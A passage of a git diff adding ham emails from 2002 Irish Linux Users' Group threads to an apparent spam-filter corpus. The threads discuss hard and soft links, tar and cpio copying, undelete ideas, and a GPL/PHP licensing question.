to the +namespaces. With soft links you need an *extra* namespace the others refer to, +and after filtering the namespaces, you have to do a manual reference count to +decide what goes and what stays. With hard links, you just unlink and deletion +is automatic. + +Ronan. + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00072.198398984661d0b6dc676ad30d6f2884 b/bayes/spamham/easy_ham_2/00072.198398984661d0b6dc676ad30d6f2884 new file mode 100644 index 0000000..660ebcc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00072.198398984661d0b6dc676ad30d6f2884 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Jul 19 21:03:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4DBF1440C8 + for ; Fri, 19 Jul 2002 16:03:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 21:03:25 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JK2TJ30883 for + ; Fri, 19 Jul 2002 21:02:29 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA29178; Fri, 19 Jul 2002 21:01:58 +0100 +Received: from linux.local ([195.218.108.203]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA29146 for ; Fri, + 19 Jul 2002 21:01:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.203] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6JJgJX04327 for + ; Fri, 19 Jul 2002 20:42:19 +0100 +Message-Id: <200207191942.g6JJgJX04327@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] CORRECTION - How to copy some files +In-Reply-To: Message from Brian Foster of + "Fri, 19 Jul 2002 16:15:49 BST." + <200207191515.g6JFFnX02981@linux.local> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <4324.1027107739.1@linux.local> +Date: Fri, 19 Jul 2002 20:42:19 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + VAA29146 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Fri, 19 Jul 2002 16:15:49 +0100 + | From: Brian Foster + |[ ... ] + | the issue here is tar(1) (and cpio(1)) archives always + | contain the data for each name of a hard link. [ ... ] + + ARRGGGHHHH!!!!! + profuse apologies, the wrong version of my reply was posted + (blame it on being late for the pub). ;-( + + the above is almost pure B*S* --- I got my `tar's and `cpio's + confused. what I said _is_ correct, but for cpio(1) archives; + tar(1) archives do _not_ replicate the data for hard links. + + I spotted this confusion on my part before I posted my reply, + and re-wrote it to be more correct, yet somehow the wrong + version got sent anyways. ARRGGGHHHH!!!!! ;-( ;-( ;-( + + anyways, GNU `cpio -p' does not do spurious reads or writes. + GNU `tar cf - ... | tar xf - ...' also does not, albeit each + `tar' both reads and writes the data. hence, there is twice + (not thrice!) the I/O of `cpio -p', maybe an issue for c.60Gb. + + using strace(1), I've verified my claim GNU `cpio -p' does + not do spurious reads or writes, i.e. it link(2)s. but having + just come back from the pub, perhaps this should also be taken + with extra skepticism ...... ;-\ + +sorry. cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00073.78e7fb8e71f51610ee27e0c5211889e6 b/bayes/spamham/easy_ham_2/00073.78e7fb8e71f51610ee27e0c5211889e6 new file mode 100644 index 0000000..f888864 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00073.78e7fb8e71f51610ee27e0c5211889e6 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Jul 19 21:08:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 23851440C8 + for ; Fri, 19 Jul 2002 16:08:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 21:08:49 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JK43J31258 for + ; Fri, 19 Jul 2002 21:04:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA29257; Fri, 19 Jul 2002 21:02:24 +0100 +Received: from linux.local ([195.218.108.203]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA29182 for ; Fri, + 19 Jul 2002 21:01:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.203] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6JJxHX04486 for + ; Fri, 19 Jul 2002 20:59:17 +0100 +Message-Id: <200207191959.g6JJxHX04486@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +In-Reply-To: Message from Ronan Waide of + "Fri, 19 Jul 2002 18:10:40 BST." + <15672.18448.462171.646227@klortho.waider.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <4483.1027108757.1@linux.local> +Date: Fri, 19 Jul 2002 20:59:17 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + VAA29182 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Fri, 19 Jul 2002 18:10:40 +0100 + | From: Ronan Waide + | + | On July 19, niall@linux.ie said: + | > this case, [hard links] are being used to provide two quite + | > different namespaces for the same set of files. + | + | Sure, but soft links would do the same. To be honest, I'm trying to + | think of a useful use of hard links right now, and I'm a little + | stumped. There's gotta be some benefit that I'm missing that's + | immediately obvious to everyone. + + maybe, maybe not. yonks ago, I seem to recall dmr saying, + or at least alleged to have said, something along the lines + that soft and hard links both make sense in isolation, but + having both does not. if this is even close to correct, + yer in quite good company! + + there is at least one notable difference, and a host of minor + ones. the notable difference is the data always exists (and + is apriori accessible) for hard links --- there is no such + thing as a broken link. + + I use this fact on occasion to "save" data, via the well- + known attack of hard-linking to a supposedly-temporary file + I want to preserve. the subsequent unlink(2)ing of the + "temporary" file does not destroy the data. + +cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00074.0a7d6adcbdfbdb4b281a8eb86e3a4d52 b/bayes/spamham/easy_ham_2/00074.0a7d6adcbdfbdb4b281a8eb86e3a4d52 new file mode 100644 index 0000000..fcefeeb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00074.0a7d6adcbdfbdb4b281a8eb86e3a4d52 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Fri Jul 19 22:02:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AF272440C8 + for ; Fri, 19 Jul 2002 17:02:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 22:02:34 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JL14J03167 for + ; Fri, 19 Jul 2002 22:01:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA32339; Fri, 19 Jul 2002 21:53:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id VAA32306 for ; Fri, + 19 Jul 2002 21:53:46 +0100 +From: awhalley@eircom.net +Message-Id: <200207192053.VAA32306@lugh.tuatha.org> +Received: (qmail 1866 messnum 187485 invoked from + network[159.134.237.78/wendell.eircom.net]); 19 Jul 2002 20:53:16 -0000 +Received: from wendell.eircom.net (HELO webmail.eircom.net) + (159.134.237.78) by mail04.svc.cra.dublin.eircom.net (qp 1866) with SMTP; + 19 Jul 2002 20:53:16 -0000 +To: ilug@linux.ie +Date: Fri, 19 Jul 2002 21:53:16 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 194.165.172.215 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Subject: [ILUG] [OT] GPL & PHP Question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Could anyone who is interested clarify this for me. +Or point me in the direction of a site that does GPL case studies where there may be a similar issue. I have had a google around and the PHP site wasn't help full and the GPL page didn't seem to have this senario. + +The setup is as follows: +I develop a piece of code using PHP 3.0.9 which is, to +my knowledge, GPL. + +The piece of code runs on my server and is an integral part of a system that I have developed for a client. I did not recieve payment for this particular piece of code but I did recieve payment for the system. My client now wants to +use a different service provider but keep my code. +Do I have a right to claim intellectual property rights for my little piece of code that he did not pay me for or do I have to give the client the code under the GPL. + +I know this is not strictly a 'Linux' issue but any help would be appreciated + +Ant + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00075.f621d4aa31d845b7fada89f4a97c98c4 b/bayes/spamham/easy_ham_2/00075.f621d4aa31d845b7fada89f4a97c98c4 new file mode 100644 index 0000000..9b60f8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00075.f621d4aa31d845b7fada89f4a97c98c4 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Fri Jul 19 22:07:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05F8C440C8 + for ; Fri, 19 Jul 2002 17:07:58 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 22:07:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JL51J03608 for + ; Fri, 19 Jul 2002 22:05:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA00409; Fri, 19 Jul 2002 22:04:03 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp011.mail.yahoo.com (smtp011.mail.yahoo.com + [216.136.173.31]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id WAA00377 + for ; Fri, 19 Jul 2002 22:03:55 +0100 +Received: from p256.as1.cra.dublin.eircom.net (HELO mfrenchw2k) + (mfrench42@159.134.177.0 with login) by smtp.mail.vip.sc5.yahoo.com with + SMTP; 19 Jul 2002 21:03:45 -0000 +Message-Id: <002c01c22f67$4216c280$f264a8c0@sabeo.ie> +From: "Matthew French" +To: "Irish Linux Users Group" +References: <200207191959.g6JJxHX04486@linux.local> +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +Date: Fri, 19 Jul 2002 22:00:02 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Brian Foster wrote: +> I use this fact on occasion to "save" data, via the well- +> known attack of hard-linking to a supposedly-temporary file +> I want to preserve. the subsequent unlink(2)ing of the +> "temporary" file does not destroy the data. + +Now here is a thought: a Unix version of the "Deleted Items" folder. + +In the root of a hard drive, create a directory ".unwanted". Then +periodically create hard links to every file on the hard drive that does not +have hard links. + +That way, when someone accidentally does "rm *" or whatever, you still have +a link under ".unwanted" + +Another script can then periodically clear out enough old files to ensure +that there is usually enough disk space. + +Although this sounds like a horrible hack. It would no doubt be much better +to have a transaction oriented file system with a rollback facility. :) + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.comm + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00076.258dae29e807236557469185327c0a0a b/bayes/spamham/easy_ham_2/00076.258dae29e807236557469185327c0a0a new file mode 100644 index 0000000..db76952 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00076.258dae29e807236557469185327c0a0a @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Fri Jul 19 23:06:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BEF3D440C8 + for ; Fri, 19 Jul 2002 18:06:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:06:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JM3FJ07895 for + ; Fri, 19 Jul 2002 23:03:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA02765; Fri, 19 Jul 2002 22:57:34 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA02652 + for ; Fri, 19 Jul 2002 22:57:11 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts10-040.dublin.indigo.ie + [194.125.174.167]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 9B09BF8FD for ; Fri, 19 Jul 2002 22:42:04 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + DE8C53C167; Fri, 19 Jul 2002 19:42:19 +0100 (IST) +Date: Fri, 19 Jul 2002 19:42:19 +0100 +From: Niall O Broin +To: ilug@linux.ie +Subject: Re: [ILUG] CVS question? +Message-Id: <20020719184219.GA3854@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +References: <200207172008.VAA08579@lugh.tuatha.org> + <15669.54302.782580.434395@klortho.waider.ie> + <200207191730.SAA23654@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200207191730.SAA23654@lugh.tuatha.org> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Jul 18, 2002 at 11:13:24PM +0100, John Gay wrote: + +> kdebase took just under 46 hours. I've got lots of grief from the wife for +> the computer running 'round the clock this week. The rest of KDE should build + +Tell her that the computer is less likely to fail if it's never turned off +so you won't need to be spending money on repairs, and that this offsets the +electricity costs. + +This has the advantage of actually being true (well, up to the , anyway) :-) + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00077.7a4f2e80b3a2e2c1cc2442f54a9e01ee b/bayes/spamham/easy_ham_2/00077.7a4f2e80b3a2e2c1cc2442f54a9e01ee new file mode 100644 index 0000000..a3c68ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00077.7a4f2e80b3a2e2c1cc2442f54a9e01ee @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Fri Jul 19 23:39:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A5D36440C8 + for ; Fri, 19 Jul 2002 18:39:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:39:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JMbEJ10513 for + ; Fri, 19 Jul 2002 23:37:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA04163; Fri, 19 Jul 2002 23:30:46 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA04129 for ; + Fri, 19 Jul 2002 23:30:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6JMUc913377 for ; + Fri, 19 Jul 2002 23:30:38 +0100 +Date: Fri, 19 Jul 2002 23:30:36 +0100 +To: Matthew French +Cc: irish linux users group +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +Message-Id: <20020719233036.B12390@ie.suberic.net> +References: <200207191959.g6JJxHX04486@linux.local> + <002c01c22f67$4216c280$f264a8c0@sabeo.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <002c01c22f67$4216c280$f264a8c0@sabeo.ie>; from + mfrench42@yahoo.co.uk on Fri, Jul 19, 2002 at 10:00:02PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 10:00:02PM +0100, Matthew French wrote: +> Now here is a thought: a Unix version of the "Deleted Items" folder. + +am i the only one who thinks this is like "friday night 80's" for ilug? +and here's an answer from 1989. for those perceptive folks in the +audience you'll note that it makes no reference to a windows icons. + +http://groups.google.com/groups?q=unix+undelete&hl=en&lr=&ie=UTF-8&as_drrb=b&as_mind=12&as_minm=5&as_miny=1981&as_maxd=19&as_maxm=7&as_maxy=1989&selm=10113%40bloom-beacon.MIT.EDU&rnum=10 + +and here's one from 1984: + +http://groups.google.com/groups?q=unix+undelete&start=10&hl=en&lr=&ie=UTF-8&as_drrb=b&as_mind=12&as_minm=5&as_miny=1981&as_maxd=19&as_maxm=7&as_maxy=1989&selm=736%40sri-arpa.UUCP&rnum=14 + +on a more serious note.... would unrm be nice? yeah. but people have +talked about unrm for nearly ***20*** years - and that's just what i +bothered to look up. think about it. in that time bsd has been freed +from at&t and then forked in four different directions, gcc, linux, +mozilla, gnome and kde have been written. as has almost every bit +of the gnu project - including (sh|file)-utils. and think about it, +have the gnu (sh|file)-utils developers ever met an option they didn't +implement if they could? even /bin/true and /bin/false take arguments. + +so yeah, unrm would be nice, but obviously it's not a simple problem. +millions of lines of code, hundreds of projects, no unrm. heck, the +hurd will probably release 1.0 before unrm shows up. + +kevin, spinning the oldies all night long... + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00078.70afdc10249d68135ead7403a6257858 b/bayes/spamham/easy_ham_2/00078.70afdc10249d68135ead7403a6257858 new file mode 100644 index 0000000..d7c2f9a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00078.70afdc10249d68135ead7403a6257858 @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Fri Jul 19 23:44:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A9428440C8 + for ; Fri, 19 Jul 2002 18:44:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:44:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JMhqJ11092 for + ; Fri, 19 Jul 2002 23:43:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA04704; Fri, 19 Jul 2002 23:42:51 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA04679 for ; + Fri, 19 Jul 2002 23:42:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6JMgh913562 for ; + Fri, 19 Jul 2002 23:42:43 +0100 +Date: Fri, 19 Jul 2002 23:42:41 +0100 +To: awhalley@eircom.net +Cc: ilug@linux.ie +Subject: Re: [ILUG] [OT] GPL & PHP Question +Message-Id: <20020719234241.C12390@ie.suberic.net> +References: <200207192053.VAA32306@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200207192053.VAA32306@lugh.tuatha.org>; from + awhalley@eircom.net on Fri, Jul 19, 2002 at 09:53:16PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 09:53:16PM +0100, awhalley@eircom.net wrote: +> The setup is as follows: +> I develop a piece of code using PHP 3.0.9 which is, to +> my knowledge, GPL. + +php's license is completely irrelevant to this. think about it. +solaris releases their system which includes /bin/sh. their license +is very restrictive and they retain the rights to their whole system. +but they don't own every shell script ever written by solaris admins +around the world. + +> The piece of code runs on my server and is an integral part of a system +> that I have developed for a client. I did not recieve payment for this +> particular piece of code but I did recieve payment for the system. My +> client now wants to use a different service provider but keep my code. +> Do I have a right to claim intellectual property rights for my little +> piece of code that he did not pay me for or do I have to give the +> client the code under the GPL. + +i doubt it. and i suspect it would cost more to litigate then you +would get. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00079.432c97872ff9af2ac7b9791612ed0ab3 b/bayes/spamham/easy_ham_2/00079.432c97872ff9af2ac7b9791612ed0ab3 new file mode 100644 index 0000000..ffba31d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00079.432c97872ff9af2ac7b9791612ed0ab3 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Sat Jul 20 00:16:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58460440C8 + for ; Fri, 19 Jul 2002 19:16:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 00:16:23 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JNCdJ13125 for + ; Sat, 20 Jul 2002 00:12:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA05762; Sat, 20 Jul 2002 00:08:46 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA05726 for ; + Sat, 20 Jul 2002 00:08:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6JN8c913959 for ; + Sat, 20 Jul 2002 00:08:38 +0100 +Date: Sat, 20 Jul 2002 00:08:36 +0100 +To: Ronan Waide +Cc: ilug@linux.ie +Subject: Re: [ILUG] How to copy some files +Message-Id: <20020720000836.D12390@ie.suberic.net> +References: <200207191515.g6JFFnX02981@linux.local> + <00a701c22f3e$51120b10$3864a8c0@sabeo.ie> + <20020719162840.GA3325@bagend.makalumedia.com> + <15672.18448.462171.646227@klortho.waider.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <15672.18448.462171.646227@klortho.waider.ie>; from + waider@waider.ie on Fri, Jul 19, 2002 at 06:10:40PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 06:10:40PM +0100, Ronan Waide wrote: +> Sure, but soft links would do the same. To be honest, I'm trying to +> think of a useful use of hard links right now, and I'm a little +> stumped. There's 